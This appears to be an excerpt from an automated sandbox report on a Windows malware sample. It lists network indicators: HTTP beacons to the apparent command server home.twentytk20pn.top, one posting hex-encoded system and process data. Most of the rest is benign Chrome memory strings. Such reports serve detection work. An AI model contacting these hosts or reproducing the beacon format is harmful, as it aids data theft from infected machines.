03 28 b0 a5 4d 1b bd 36 7a 2a 25 8c d5 af b8 d2 65 a4 4c c6 ad 95 c9 39 2e f3 24 ab 23 fa f8 3b cd a2 ac 75 f3 70 ac 29 c7 a4 5a 71 84 5d 71 92 97 0c 9b 16 42 0b 15 e3 8e 3a f1 ac 5c c3 41 90 d9 e0 95 09 4a d8 cd d0 fc 37 99 73 3c fb 35 0a f2 60 ac 27 f8 78 06 83 69 c5 f7 05 9e 62 93 16 26 d8 dd c6 cd 01 c6 72 4b 7c bb 0f 71 0c 7d 34 6d 7d de 0c 1b 6d 8d 0c e8 13 d4 68 af 34 cc 65 3a 65 45 23 bf ba 3b f2 aa 2f 89 46 97 ca 6d ef 05 53 5f a8 1e 83 1a 2a 5e 81 82 96 ea bc 69 86 d5 45 85 b3 29 a5 a0 86 79 01 c5 06 40 ef 23 72 f5 ed d8 6a a1 3e 4f c9 e4 83 0c b9 c8 3a 01 12 41 d6 33 77 77 e6 40 20 ed b8 3c 95 26 2b 81 7f 9b 3e b6 84 b4 65 7e 4d e0 40 84 79 5f ff 17 ff 89 3a 74 76 aa 1a b2 fa da 69 14 df c3 42 23 90 aa 63 cd 92 82 d5 4a 67 24 44 eb 6a c0 48 fd 36 65 63 34 b5 8f 8d 6c 99 e4 30 fc bf e9 1c 47 bf f6 d7 e2 13 c9 32 e3 59 3e cc 90 85 5a 17 ed b2 70 cb 4a 44 76 59 38 9b 14 91 35 43 29 a2 b3 e4 4c 1f d3 85 f3 82 b0 ea 56 b9 eb b5 c6 96 61 b1 5f 72 0f ee 38 17 dd 33 dd aa 5a 52 e7 b5 6a fd a6 19 0f c7 3c 94 80 a4 35 9e fb e2 71 14 ee 2e f9 15 95 aa 4a 06 ac d3 c1 cb 78 63 68 9b 7b 26 dd dd f8 bc 60 b8 e7 6d 62 b6 21 43 75 1e 93 77 7a 7e 38 81 23 77 76 9c 16 88 02 a4 9b 90 e4 b7 21 22 52 8a 78 33 f6 02 f1 e7 d1 38 f6 42 7b dd 6c 84 03 91 70 fe 8c 37 02 72 23 a5 33 cf 32 36 60 20 4d a2 6d f1 33 78 2d a1 d6 1f 53 1c 7e 9c ee 11 80 dd 11 a9 7b 0b 66 15 89 d6 89 03 f2 40 57 58 32 81 45 ab 69 57 9e 13 7b e9 95 81 dd 7a 1f 8c 1c 9a 0b 84 94 cf 1b aa 86 81 cd 7d 26 81 80 58 35 30 73 fa 9a 6e 3a 5e 2b 13 9b 9c e2 df 4a 16 b6 68 cb 6e 07 26 e3 92 f9 9b 0b 92 d8 1a c8 14 ba e1 51 62 b2 1c bc b2 e1 a2 a7 ba 12 f9 8e e4 49 34 26 1a 0b bf c8 d3 1f 01 58 34 36 bd 9e af 85 b2 49 a3 f3 0f 62 98 11 36 86 21 14 01 af 6b d8 28 29 45 73 e7 a5 53 37 dd f9 bd ee e6 d0 59 60 f5 c8 af ec 00 5c f7 10 d1 06 20 70 b4 fd f9 b0 db 7f 1f d4 a3 25 83 ed 64 3c 26 43 6f 23 5a 31 d8 62 9c 17 30 94 cf 7c 0b 07 2b 91 52 75 5f a8 e6 24 7d 56 6c 71 fa 68 be a5 c0 49 eb 22 34 62
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 53 54 6c 70 35 4c 6a 38 4e 79 63 6f 55 44 64 50 31 37 33 34 37 31 31 32 30 37 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "STlp5Lj8NycoUDdP1734711207", "data": "Done2" }

Source: Joe Sandbox View	IP Address: 34.226.108.155 34.226.108.155
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 147.45.113.159 147.45.113.159

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=STlp5Lj8NycoUDdP1734711207 HTTP/1.1Host: home.twentytk20pn.topAccept: /

Source: chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957211617.000007380068C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000003.1926658742.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1927086446.0000073800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1927136206.0000073800F58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000005.00000003.1926658742.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1927086446.0000073800F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1927136206.0000073800F58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.1961081967.0000073800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/H equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.1960231549.0000073800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.1960231549.0000073800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlA equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: */*Content-Type: application/jsonContent-Length: 563789Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 31 31 31 39 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2

Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
